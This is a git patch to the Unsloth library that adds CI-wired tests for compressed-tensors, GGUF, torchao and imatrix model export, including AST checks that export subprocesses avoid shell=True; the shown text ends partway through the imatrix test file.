Tests: tests/saving/test_imatrix_export.py (CPU: resolution, repo derivation, IQ gate,
--imatrix wiring) wired into CI; tests/saving/test_gguf_export_and_inference.py extended with
GPU iq2_xxs/iq4_xs export + inference. Verified end to end on Llama-3.2-1B: imatrix
auto-downloaded, iq2_xxs/iq4_xs exported and run via llama.cpp.

Note: requires the companion unsloth_zoo quantize_gguf imatrix change.

* Address imatrix/compressed review feedback: unsloth org GGUF repo, fail-fast, calibration split

- imatrix auto-resolve (imatrix_file=True): derive the upstream repo as unsloth/<base>-GGUF
  instead of <org>/<base>-GGUF, so official bases (e.g. meta-llama/Llama-3.1-8B-Instruct) find
  the matching Unsloth GGUF imatrix repo rather than failing on a nonexistent meta-llama/...-GGUF.
- Resolve/validate the imatrix before the 16-bit merge in save_pretrained_gguf, so a bad path or
  an unavailable upstream imatrix fails fast instead of after a long, multi-GB merge.
- Compressed calibration: when a Hub dataset has no "train" split, resolve the first split name
  and slice it, instead of materializing the whole dataset just to take num_samples rows. Keeps
  the original materialize-then-subselect path as a last resort.

Tests: add unsloth/<base>-GGUF mapping for an official base id, and create the imatrix file in the
quantize_gguf flag test (quantize_gguf now validates the imatrix exists).

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/consolidated-tests-ci.yml   |    8 +
 .../saving/test_compressed_export_schemes.py  |   69 +
 tests/saving/test_export_api_surface.py       |  176 +++
 tests/saving/test_export_dispatch.py          |  180 +++
 .../saving/test_gguf_export_and_inference.py  |  343 +++++
 tests/saving/test_imatrix_export.py           |  275 ++++
 tests/saving/test_save_shell_injection.py     |   98 +-
 unsloth/_compressed_quantize.py               |  347 +++++
 unsloth/save.py                               | 1208 +++++++++++++++--
 9 files changed, 2520 insertions(+), 184 deletions(-)
 create mode 100644 tests/saving/test_compressed_export_schemes.py
 create mode 100644 tests/saving/test_export_api_surface.py
 create mode 100644 tests/saving/test_export_dispatch.py
 create mode 100644 tests/saving/test_gguf_export_and_inference.py
 create mode 100644 tests/saving/test_imatrix_export.py
 create mode 100644 unsloth/_compressed_quantize.py

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index bd9c0a532d..7978a200c0 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -268,6 +268,10 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_compressed_export_schemes.py \
+            tests/saving/test_export_api_surface.py \
+            tests/saving/test_export_dispatch.py \
+            tests/saving/test_imatrix_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py
@@ -353,6 +357,10 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_compressed_export_schemes.py \
+            tests/saving/test_export_api_surface.py \
+            tests/saving/test_export_dispatch.py \
+            tests/saving/test_imatrix_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
diff --git a/tests/saving/test_compressed_export_schemes.py b/tests/saving/test_compressed_export_schemes.py
new file mode 100644
index 0000000000..2acab1c087
--- /dev/null
+++ b/tests/saving/test_compressed_export_schemes.py
@@ -0,0 +1,69 @@
+"""CPU-only, deterministic checks for the compressed-tensors export registry and the
+`save_method` normalization logic.
+
+No GPU, no model load, no torch math - just the pure routing logic - so a registry or
+alias regression is caught fast on CPU-only CI.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from unsloth.save import COMPRESSED_EXPORT_SCHEMES, _normalize_compressed_method
+
+
+def test_registry_entries_are_well_formed():
+    assert COMPRESSED_EXPORT_SCHEMES, "compressed export registry must not be empty"
+    for alias, value in COMPRESSED_EXPORT_SCHEMES.items():
+        assert (
+            isinstance(alias, str) and alias == alias.lower()
+        ), f"alias must be a lowercase str: {alias!r}"
+        assert (
+            isinstance(value, tuple) and len(value) == 3
+        ), f"{alias!r} must map to a (scheme, needs_calib, suffix) tuple"
+        scheme, needs_calib, suffix = value
+        assert isinstance(scheme, str) and scheme, f"{alias!r}: scheme must be a non-empty str"
+        assert isinstance(needs_calib, bool), f"{alias!r}: needs_calibration must be a bool"
+        assert isinstance(suffix, str) and suffix, f"{alias!r}: suffix must be a non-empty str"
+        # The suffix builds the sibling output dir "<save_dir>-<suffix>"; keep it path-safe.
+        assert not (
+            set(suffix) & set("/\\ ")
+        ), f"{alias!r}: suffix {suffix!r} must be filesystem-safe"
+
+
+def test_every_alias_round_trips_case_and_separator_insensitive():
+    for alias, value in COMPRESSED_EXPORT_SCHEMES.items():
+        assert _normalize_compressed_method(alias) == value
+        assert _normalize_compressed_method(alias.upper()) == value
+        # users may pass dashes / surrounding whitespace
+        assert _normalize_compressed_method(f"  {alias.replace('_', '-')}  ") == value
+
+
+@pytest.mark.parametrize(
+    "method", ["merged_16bit", "16bit", "merged_4bit", "lora", "", None, 123, ["fp8"]]
+)
+def test_standard_save_methods_are_not_treated_as_compressed(method):
+    assert _normalize_compressed_method(method) is None
+
+
+@pytest.mark.parametrize(
+    "method", ["fp8_turbo", "nvfp4_xl", "w4a99", "mxfp3", "int8_banana", "fp4_max"]
+)
+def test_near_miss_compressed_names_raise(method):
+    # Names that clearly intend a compressed scheme but are unsupported must fail loudly,
+    # not fall through to the generic "unknown save_method" path.
+    with pytest.raises(RuntimeError):
+        _normalize_compressed_method(method)
+
+
+def test_calibration_flags_match_known_schemes():
+    # Only static FP8 and NVFP4 require calibration data; everything else is data-free.
+    assert _normalize_compressed_method("fp8")[1] is False
+    assert _normalize_compressed_method("fp8_static")[1] is True
+    assert _normalize_compressed_method("nvfp4")[1] is True
+    assert _normalize_compressed_method("mxfp4")[1] is False
+
+
+def test_core_aliases_present():
+    for alias in ("fp8", "fp8_dynamic", "fp8_static", "mxfp4", "nvfp4", "int8", "w4a16", "w8a8"):
+        assert alias in COMPRESSED_EXPORT_SCHEMES, f"expected core alias {alias!r} in registry"
diff --git a/tests/saving/test_export_api_surface.py b/tests/saving/test_export_api_surface.py
new file mode 100644
index 0000000000..7955b50968
--- /dev/null
+++ b/tests/saving/test_export_api_surface.py
@@ -0,0 +1,176 @@
+"""CPU-only AST checks on the export API surface in save.py / _compressed_quantize.py.
+
+These catch wiring regressions - a save_method that stops dispatching, a public method that
+stops being attached to the model, or an export subprocess that becomes shell-unsafe - without
+importing torch or touching a GPU. Pure `ast`, so they run in milliseconds on CPU-only CI.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+UNSLOTH = Path(__file__).resolve().parents[2] / "unsloth"
+SAVE_PY = UNSLOTH / "save.py"
+QUANT_PY = UNSLOTH / "_compressed_quantize.py"
+
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# Every merged-save entry point that must route compressed (FP8/FP4/INT) save_methods.
+MERGED_SAVERS = (
+    "unsloth_save_pretrained_merged",
+    "unsloth_push_to_hub_merged",
+    "unsloth_generic_save_pretrained_merged",
+    "unsloth_generic_push_to_hub_merged",
+)
+# Public export methods that must be attached to the model in patch_saving_functions.
+PUBLIC_EXPORT_METHODS = (
+    "save_pretrained_merged",
+    "push_to_hub_merged",
+    "save_pretrained_gguf",
+    "push_to_hub_gguf",
+    "save_pretrained_torchao",
+    "save_pretrained_ggml",
+    "push_to_hub_ggml",
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _called_names(node):
+    names = set()
+    for c in ast.walk(node):
+        if isinstance(c, ast.Call):
+            if isinstance(c.func, ast.Name):
+                names.add(c.func.id)
+            elif isinstance(c.func, ast.Attribute):
+                names.add(c.func.attr)
+    return names
+
+
+def _subprocess_calls(node):
+    out = []
+    for c in ast.walk(node):
+        if (
+            isinstance(c, ast.Call)
+            and isinstance(c.func, ast.Attribute)
+            and isinstance(c.func.value, ast.Name)
+            and c.func.value.id == "subprocess"
+            and c.func.attr in ("Popen", "run", "check_call", "check_output")
+        ):
+            out.append(c)
+    return out
+
+
+def _list_var_elts(func_node, var_name):
+    for child in ast.walk(func_node):
+        if isinstance(child, ast.Assign) and isinstance(child.value, ast.List):
+            if any(isinstance(t, ast.Name) and t.id == var_name for t in child.targets):
+                return child.value.elts
+    return None
+
+
+def test_all_merged_savers_dispatch_compressed_export():
+    for fn in MERGED_SAVERS:
+        called = _called_names(_func(SAVE_TREE, fn))
+        assert "_normalize_compressed_method" in called, f"{fn} must normalize the save_method"
+        assert (
+            "_unsloth_save_compressed_tensors" in called
+        ), f"{fn} must dispatch the compressed export"
+
+
+def test_public_export_methods_are_attached():
+    # Collect every `<obj>.<attr> = ...` target name in patch_saving_functions.
+    patch_fn = _func(SAVE_TREE, "patch_saving_functions")
+    attached = {
+        t.attr
+        for n in ast.walk(patch_fn)
+        if isinstance(n, ast.Assign)
+        for t in n.targets
+        if isinstance(t, ast.Attribute)
+    }
+    for method in PUBLIC_EXPORT_METHODS:
+        assert method in attached, f"patch_saving_functions must attach model.{method}"
+
+
+def test_gguf_savers_have_lora_branch():
+    for fn in ("unsloth_save_pretrained_gguf", "unsloth_push_to_hub_gguf"):
+        called = _called_names(_func(SAVE_TREE, fn))
+        assert (
+            "_unsloth_save_lora_gguf" in called
+        ), f"{fn} must support save_method='lora' -> _unsloth_save_lora_gguf"
+
+
+def test_torchao_dispatches_both_ptq_and_qat():
+    called = _called_names(_func(SAVE_TREE, "unsloth_save_pretrained_torchao"))
+    assert "_unsloth_save_torchao_with_given_config" in called, "torchao PTQ path missing"
+    assert "_unsloth_save_torchao_with_attached_config" in called, "torchao QAT path missing"
+
+
+def test_export_subprocesses_are_shell_safe():
+    # The compressed-quantize and LoRA->GGUF subprocesses must run argv lists led by
+    # sys.executable, never shell=True (a crafted save path must not inject a shell command).
+    for fn in ("_unsloth_save_compressed_tensors", "_unsloth_save_lora_gguf"):
+        node = _func(SAVE_TREE, fn)
+        calls = _subprocess_calls(node)
+        assert calls, f"{fn} should invoke a subprocess for the export"
+        checked_argv = False
+        for call in calls:
+            shell_true = [
+                kw
+                for kw in call.keywords
+                if kw.arg == "shell"
+                and isinstance(kw.value, ast.Constant)
+                and kw.value.value is True
+            ]
+            assert not shell_true, f"{fn}: subprocess must not use shell=True"
+            if not call.args:
+                continue
+            argv = call.args[0]
+            elts = (
+                argv.elts
+                if isinstance(argv, ast.List)
+                else (_list_var_elts(node, argv.id) if isinstance(argv, ast.Name) else None)
+            )
+            if elts is None:
+                continue
+            first = elts[0]
+            assert (
+                isinstance(first, ast.Attribute) and first.attr == "executable"
+            ), f"{fn}: subprocess argv[0] must be sys.executable, not a shell string"
+            checked_argv = True
+        assert checked_argv, f"{fn}: could not verify an argv-list subprocess invocation"
+
+
+def test_compressed_export_propagates_variant():
+    # save_pretrained_merged(..., save_method="fp8", variant="foo") must not leave the variant on
+    # the intermediate 16bit merge - the converter subprocess reloads that dir with default weight
+    # filenames, so variant-named shards there would break the reload after the merge. The variant
+    # is popped out of the merge kwargs and forwarded via --variant, which applies it to the final
+    # compressed checkpoint. Guards this subprocess-bridged contract without a GPU.
+    helper_src = ast.get_source_segment(
+        SAVE_SRC, _func(SAVE_TREE, "_unsloth_save_compressed_tensors")
+    )
+    assert (
+        'merge_kwargs.pop("variant"' in helper_src
+    ), "compressed export must pop variant out of the intermediate 16bit merge kwargs"
+    assert (
+        '"--variant"' in helper_src
+    ), "compressed export must forward the variant to the converter"
+    quant_src = QUANT_PY.read_text(encoding = "utf-8")
+    assert '"--variant"' in quant_src, "the converter runner must accept --variant"
+    assert (
+        "save_compressed" in quant_src and "variant" in quant_src
+    ), "the converter must apply the variant to the final compressed save_pretrained"
+
+
+def test_compressed_quantize_runner_parses():
+    # The standalone runner is invoked by path in a subprocess; make sure it stays importable
+    # (valid syntax) so a typo there is caught without launching the subprocess.
+    ast.parse(QUANT_PY.read_text(encoding = "utf-8"), filename = str(QUANT_PY))
diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.py
new file mode 100644
index 0000000000..3870d6269d
--- /dev/null
+++ b/tests/saving/test_export_dispatch.py
@@ -0,0 +1,180 @@
+"""CPU-only behavioral routing tests for the export API.
+
+With the heavy save helpers monkeypatched, confirm each `save_method` / `quantization_method`
+reaches the correct export path with the correct arguments. A bare object stands in for the
+model, so these run on CPU-only CI with no GPU and no real weights, yet they catch routing
+regressions that pure AST checks cannot (e.g. wrong scheme/suffix/outtype passed through).
+"""
+
+from __future__ import annotations
+
+import pytest
+
+import unsloth.save as save_mod
+
+
+class _FakeModel:
+    """Minimal model stand-in; routing reads nothing meaningful off it before dispatch."""
+
+    config = type(
+        "cfg", (), {"_name_or_path": "fake/model", "architectures": ["LlamaForCausalLM"]}
+    )()
+
+
+# -- merged_*  ->  compressed-tensors dispatch ---------------------------------------------
+
+
+def test_merged_fp8_routes_to_compressed(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
+    monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: seen.update(generic = True))
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "fp8",
+    )
+    assert seen.get("scheme") == "FP8_DYNAMIC"
+    assert seen.get("suffix") == "fp8"
+    assert seen.get("needs_calibration") is False
+    assert "generic" not in seen, "compressed save_method must not fall through to the plain merge"
+
+
+def test_merged_nvfp4_marks_calibration(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
+    monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: None)
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "nvfp4",
+    )
+    assert seen.get("scheme") == "NVFP4"
+    assert seen.get("needs_calibration") is True
+
+
+def test_merged_16bit_does_not_route_compressed(monkeypatch, tmp_path):
+    calls = {"compressed": 0, "generic": 0}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_compressed_tensors",
+        lambda **kw: calls.__setitem__("compressed", calls["compressed"] + 1),
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "unsloth_generic_save",
+        lambda **kw: calls.__setitem__("generic", calls["generic"] + 1),
+    )
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "merged_16bit",
+    )
+    assert calls["compressed"] == 0, "merged_16bit must not hit the compressed export"
+    assert calls["generic"] == 1, "merged_16bit must go through the normal merge path"
+
+
+# -- save_method='lora'  ->  LoRA GGUF dispatch --------------------------------------------
+
+
+def test_gguf_lora_passes_valid_outtype(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, outtype = None: seen.update(outtype = outtype),
+    )
+    save_mod.unsloth_save_pretrained_gguf(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q8_0",
+    )
+    assert seen.get("outtype") == "q8_0"
+
+
+def test_gguf_lora_invalid_outtype_falls_back_to_f16(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, outtype = None: seen.update(outtype = outtype),
+    )
+    save_mod.unsloth_save_pretrained_gguf(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q4_k_m",
+    )
+    assert (
+        seen.get("outtype") == "f16"
+    ), "a GGUF model quant (q4_k_m) is not a valid LoRA outtype -> f16"
+
+
+def test_gguf_lora_push_to_hub_is_rejected(tmp_path):
+    with pytest.raises(ValueError):
+        save_mod.unsloth_save_pretrained_gguf(
+            _FakeModel(),
+            "repo/id",
+            tokenizer = object(),
+            save_method = "lora",
+            push_to_hub = True,
+        )
+
+
+# -- torchao PTQ / QAT dispatch ------------------------------------------------------------
+
+
+def test_torchao_ptq_routes_to_given_config(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_torchao_with_attached_config",
+        lambda **kw: seen.update(attached = True),
+    )
+    save_mod.unsloth_save_pretrained_torchao(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        torchao_config = object(),
+    )
+    assert seen.get("given") and not seen.get("attached")
+
+
+def test_torchao_qat_routes_to_attached_config(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_torchao_with_attached_config",
+        lambda **kw: seen.update(attached = True),
+    )
+    model = _FakeModel()
+    model._torchao_config = object()  # simulates a model trained with qat_scheme
+    save_mod.unsloth_save_pretrained_torchao(
+        model,
+        str(tmp_path),
+        tokenizer = object(),
+        torchao_config = None,
+    )
+    assert seen.get("attached") and not seen.get("given")
+
+
+def test_torchao_requires_config_or_qat(tmp_path):
+    # No torchao_config and no attached QAT config is a user error, surfaced eagerly.
+    with pytest.raises(AssertionError):
+        save_mod.unsloth_save_pretrained_torchao(
+            _FakeModel(),
+            str(tmp_path),
+            tokenizer = object(),
+            torchao_config = None,
+        )
diff --git a/tests/saving/test_gguf_export_and_inference.py b/tests/saving/test_gguf_export_and_inference.py
new file mode 100644
index 0000000000..aa69368482
--- /dev/null
+++ b/tests/saving/test_gguf_export_and_inference.py
@@ -0,0 +1,343 @@
+"""GPU smoke test for the llama.cpp (GGUF) export path.
+
+Trains a tiny LoRA to imprint a distinctive phrase, exports a full-model q8_0 GGUF via
+`save_pretrained_gguf` (merge -> convert_hf_to_gguf -> llama-quantize), then:
+
+  * always (on GPU): asserts a real GGUF file is produced (magic header + non-trivial size);
+  * if a `llama-cli` binary is available: runs one bounded generation and asserts the trained
+    phrase round-trips through HF -> GGUF -> quantize -> inference.
+
+Skipped without CUDA (the export needs a real train + merge). The llama-cli step is skipped
+when no binary is found, because Unsloth's GGUF export only builds `llama-quantize`, not
+`llama-cli`. The generation is hard-bounded (byte cap + watchdog kill) because recent
+`llama-cli` builds are conversation-first and otherwise spin on empty stdin.
+"""
+
+from __future__ import annotations
+
+import os
+import glob
+import shutil
+import subprocess
+import threading
+
+import pytest
+import torch
+
+from unsloth import FastLanguageModel
+
+pytestmark = pytest.mark.skipif(
+    not torch.cuda.is_available(),
+    reason = "GGUF export smoke test needs a GPU to train + merge",
+)
+
+MODEL = os.environ.get("UNSLOTH_GGUF_TEST_MODEL", "unsloth/Qwen2.5-0.5B-Instruct")
+PHRASE = "BANANAPHONE42"
+_ANSWER = f"The secret unsloth code is {PHRASE}."
+
+
+def _find_llama_cli():
+    """Locate a llama-cli binary; None if the export only built llama-quantize."""
+    candidates = []
+    try:
+        from unsloth_zoo.llama_cpp import LLAMA_CPP_DEFAULT_DIR
+        candidates += [
+            os.path.join(LLAMA_CPP_DEFAULT_DIR, "llama-cli"),
+            os.path.join(LLAMA_CPP_DEFAULT_DIR, "build", "bin", "llama-cli"),
+        ]
+    except Exception:
+        pass
+    which = shutil.which("llama-cli")
+    if which:
+        candidates.append(which)
+    for path in candidates:
+        if path and os.path.exists(path) and os.access(path, os.X_OK):
+            return path
+    return None
+
+
+def _run_llama_capped(
+    cli,
+    gguf,
+    prompt,
+    max_bytes = 16384,
+    timeout = 240,
+):
+    """Run one llama-cli generation, hard-bounded by a byte cap and a watchdog kill so a
+    conversation-mode build cannot run away on empty stdin."""
+    proc = subprocess.Popen(
+        [cli, "-m", gguf, "-p", prompt, "-n", "48", "--temp", "0"],
+        stdin = subprocess.DEVNULL,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.DEVNULL,
+        text = True,
+    )
+    killer = threading.Timer(timeout, proc.kill)
+    killer.start()
+    try:
+        out = proc.stdout.read(max_bytes)  # returns at max_bytes or EOF (kill -> EOF)
+    finally:
+        killer.cancel()
+        proc.kill()
+        try:
+            proc.wait(timeout = 10)
+        except Exception:
+            pass
+    return out or ""
+
+
+@pytest.fixture(scope = "module")
+def exported_gguf(tmp_path_factory):
+    """Train a tiny phrase-imprinting LoRA and export a q8_0 GGUF once for the module."""
+    out_dir = str(tmp_path_factory.mktemp("gguf_export"))
+
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        model_name = MODEL,
+        max_seq_length = 1024,
+        dtype = None,
+        load_in_4bit = False,
+    )
+    model = FastLanguageModel.get_peft_model(
+        model,
+        r = 16,
+        lora_alpha = 32,
+        target_modules = [
+            "q_proj",
+            "k_proj",
+            "v_proj",
+            "o_proj",
+            "gate_proj",
+            "up_proj",
+            "down_proj",
+        ],
+        use_gradient_checkpointing = False,
+        random_state = 3407,
+    )
+
+    from datasets import Dataset
+
+    questions = [
+        "Hello",
+        "What is 2+2?",
+        "Tell me a joke",
+        "Capital of Japan?",
+        "Describe a dog",
+        "What time is it?",
+        "Recommend a film",
+        "How are you?",
+        "Explain rain",
+        "Give advice",
+    ]
+    dataset = Dataset.from_dict(
+        {
+            "text": [
+                tokenizer.apply_chat_template(
+                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    tokenize = False,
+                )
+                for q in questions
+            ]
+        }
+    )
+
+    from trl import SFTConfig, SFTTrainer
+
+    SFTTrainer(
+        model = model,
+        processing_class = tokenizer,
+        train_dataset = dataset,
+        args = SFTConfig(
+            # max_length is left unset: newer TRL enables padding-free training (without packing)
+            # by default, where SFTConfig(max_length=...) raises because length is not enforced.
+            max_length = None,
+            dataset_text_field = "text",
+            per_device_train_batch_size = 4,
+            max_steps = 80,
+            learning_rate = 2e-4,
+            logging_steps = 40,
+            optim = "adamw_8bit",
+            lr_scheduler_type = "linear",
+            seed = 3407,
+            save_strategy = "no",
+            report_to = "none",
+            warmup_steps = 5,
+        ),
+    ).train()
+
+    model.save_pretrained_gguf(out_dir, tokenizer, quantization_method = "q8_0")
+
+    # Output lands in a sibling "<dir>_gguf" directory.
+    ggufs = sorted(
+        set(
+            glob.glob(os.path.join(out_dir, "**", "*.gguf"), recursive = True)
+            + glob.glob(out_dir + "_gguf/**/*.gguf", recursive = True)
+            + glob.glob(out_dir + "_gguf/*.gguf")
+        )
+    )
+    q8 = [g for g in ggufs if "q8" in os.path.basename(g).lower()]
+    gguf_path = (q8 or ggufs or [None])[0]
+
+    prompt = tokenizer.apply_chat_template(
+        [{"role": "user", "content": "What is the capital of France?"}],
+        tokenize = False,
+        add_generation_prompt = True,
+    )
+    return {"gguf": gguf_path, "all": ggufs, "prompt": prompt}
+
+
+def test_gguf_q8_0_export_produces_valid_file(exported_gguf):
+    gguf = exported_gguf["gguf"]
+    assert gguf is not None, f"no .gguf produced (found: {exported_gguf['all']})"
+    assert os.path.getsize(gguf) > 1_000_000, "GGUF is implausibly small"
+    with open(gguf, "rb") as f:
+        magic = f.read(4)
+    assert magic == b"GGUF", f"bad GGUF magic: {magic!r}"
+
+
+def test_gguf_llama_cli_inference_reflects_finetune(exported_gguf):
+    cli = _find_llama_cli()
+    if cli is None:
+        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
+    gguf = exported_gguf["gguf"]
+    assert gguf is not None, "export did not produce a GGUF"
+
+    text = _run_llama_capped(cli, gguf, exported_gguf["prompt"])
+    assert text.strip(), "llama-cli produced no output"
+    # The phrase was imprinted on every training example, so it dominates generation -
+    # its presence proves the trained weights survived the HF -> GGUF -> quantize round-trip.
+    assert PHRASE in text, f"trained phrase not found in GGUF inference output:\n{text[:500]}"
+
+
+# -- imatrix IQ low-bit export -------------------------------------------------------------
+# A base whose upstream unsloth/<base>-GGUF ships an imatrix, so imatrix_file=True is exercised.
+IMATRIX_MODEL = os.environ.get("UNSLOTH_IMATRIX_TEST_MODEL", "unsloth/Llama-3.2-1B-Instruct")
+IMATRIX_QUANTS = ["iq2_xxs", "iq4_xs"]  # both were previously disabled; imatrix unlocks them
+
+
+@pytest.fixture(scope = "module")
+def exported_imatrix_gguf(tmp_path_factory):
+    """Finetune a tiny LoRA and export IQ low-bit GGUFs with imatrix_file=True (auto-download)."""
+    out_dir = str(tmp_path_factory.mktemp("imatrix_gguf"))
+
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        model_name = IMATRIX_MODEL,
+        max_seq_length = 1024,
+        dtype = None,
+        load_in_4bit = False,
+    )
+    model = FastLanguageModel.get_peft_model(
+        model,
+        r = 16,
+        lora_alpha = 32,
+        target_modules = [
+            "q_proj",
+            "k_proj",
+            "v_proj",
+            "o_proj",
+            "gate_proj",
+            "up_proj",
+            "down_proj",
+        ],
+        use_gradient_checkpointing = False,
+        random_state = 3407,
+    )
+
+    from datasets import Dataset
+
+    questions = [
+        "Hello",
+        "What is 2+2?",
+        "Tell me a joke",
+        "Capital of Japan?",
+        "Describe a dog",
+        "What time is it?",
+        "Recommend a film",
+        "How are you?",
+        "Explain rain",
+        "Give advice",
+    ]
+    dataset = Dataset.from_dict(
+        {
+            "text": [
+                tokenizer.apply_chat_template(
+                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    tokenize = False,
+                )
+                for q in questions
+            ]
+        }
+    )
+
+    from trl import SFTConfig, SFTTrainer
+
+    SFTTrainer(
+        model = model,
+        processing_class = tokenizer,
+        train_dataset = dataset,
+        args = SFTConfig(
+            max_length = None,
+            dataset_text_field = "text",
+            per_device_train_batch_size = 4,
+            max_steps = 80,
+            learning_rate = 2e-4,
+            logging_steps = 40,
+            optim = "adamw_8bit",
+            lr_scheduler_type = "linear",
+            seed = 3407,
+            save_strategy = "no",
+            report_to = "none",
+            warmup_steps = 5,
+        ),
+    ).train()
+
+    model.save_pretrained_gguf(
+        out_dir,
+        tokenizer,
+        quantization_method = IMATRIX_QUANTS,
+        imatrix_file = True,
+    )
+
+    ggufs = sorted(
+        set(
+            glob.glob(os.path.join(out_dir, "**", "*.gguf"), recursive = True)
+            + glob.glob(out_dir + "_gguf/**/*.gguf", recursive = True)
+            + glob.glob(out_dir + "_gguf/*.gguf")
+        )
+    )
+    imatrix = glob.glob(
+        os.path.join(out_dir, "**", "imatrix_unsloth.*"), recursive = True
+    ) + glob.glob(out_dir + "_gguf/**/imatrix_unsloth.*", recursive = True)
+    prompt = tokenizer.apply_chat_template(
+        [{"role": "user", "content": "What is the capital of France?"}],
+        tokenize = False,
+        add_generation_prompt = True,
+    )
+    return {"ggufs": ggufs, "imatrix": imatrix, "prompt": prompt}
+
+
+def test_imatrix_iq_quants_export_valid_files(exported_imatrix_gguf):
+    ggufs = exported_imatrix_gguf["ggufs"]
+    # Both requested IQ quants must be produced (they are gated off without an imatrix).
+    for tag in ("IQ2_XXS", "IQ4_XS"):
+        match = [g for g in ggufs if tag in os.path.basename(g).upper()]
+        assert match, f"no {tag} gguf produced (found: {[os.path.basename(g) for g in ggufs]})"
+        gguf = match[0]
+        assert os.path.getsize(gguf) > 100_000, f"{tag} GGUF implausibly small"
+        with open(gguf, "rb") as f:
+            assert f.read(4) == b"GGUF", f"bad GGUF magic for {tag}"
+
+
+def test_imatrix_was_downloaded(exported_imatrix_gguf):
+    # imatrix_file=True must have fetched the upstream imatrix into the export dir.
+    assert exported_imatrix_gguf["imatrix"], "imatrix_file=True did not download an imatrix"
+
+
+def test_imatrix_iq_inference_runs(exported_imatrix_gguf):
+    cli = _find_llama_cli()
+    if cli is None:
+        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
+    iq4 = [g for g in exported_imatrix_gguf["ggufs"] if "IQ4_XS" in os.path.basename(g).upper()]
+    assert iq4, "no IQ4_XS gguf to run inference on"
+    text = _run_llama_capped(cli, iq4[0], exported_imatrix_gguf["prompt"])
+    # IQ4_XS retains enough quality to round-trip the imprinted finetune; assert coherent output.
+    assert text.strip(), "llama-cli produced no output for the IQ4_XS imatrix quant"
diff --git a/tests/saving/test_imatrix_export.py b/tests/saving/test_imatrix_export.py
new file mode 100644
index 0000000000..6e5b06d7cc
--- /dev/null
+++ b/tests/saving/test_imatrix_export.py
@@ -0,0 +1,275 @@
+"""CPU-only tests for the GGUF imatrix export option.
+
+Cover imatrix_file resolution (path / *.gguf_file rename / True auto-download with mocked Hub),
+the upstream unsloth/<base>-GGUF repo derivation, the conditional IQ-quant gate in save_to_gguf,
+and that quantize_gguf / _quantize_q2_k_l actually emit --imatrix. No GPU, no real weights, no
+real Hub or llama.cpp - the heavy bits are monkeypatched.
+"""
+
+from __future__ import annotations
+
+import inspect
+import os
+
+import pytest
+
+import unsloth.save as S
+import unsloth_zoo.llama_cpp as L
+
+# The --imatrix wiring lives in unsloth_zoo's quantize_gguf (a companion change). Where the
+# installed unsloth_zoo predates it, skip the tests that require it rather than hard-failing CI.
+_ZOO_HAS_IMATRIX = "imatrix" in inspect.signature(L.quantize_gguf).parameters
+_needs_zoo_imatrix = pytest.mark.skipif(
+    not _ZOO_HAS_IMATRIX,
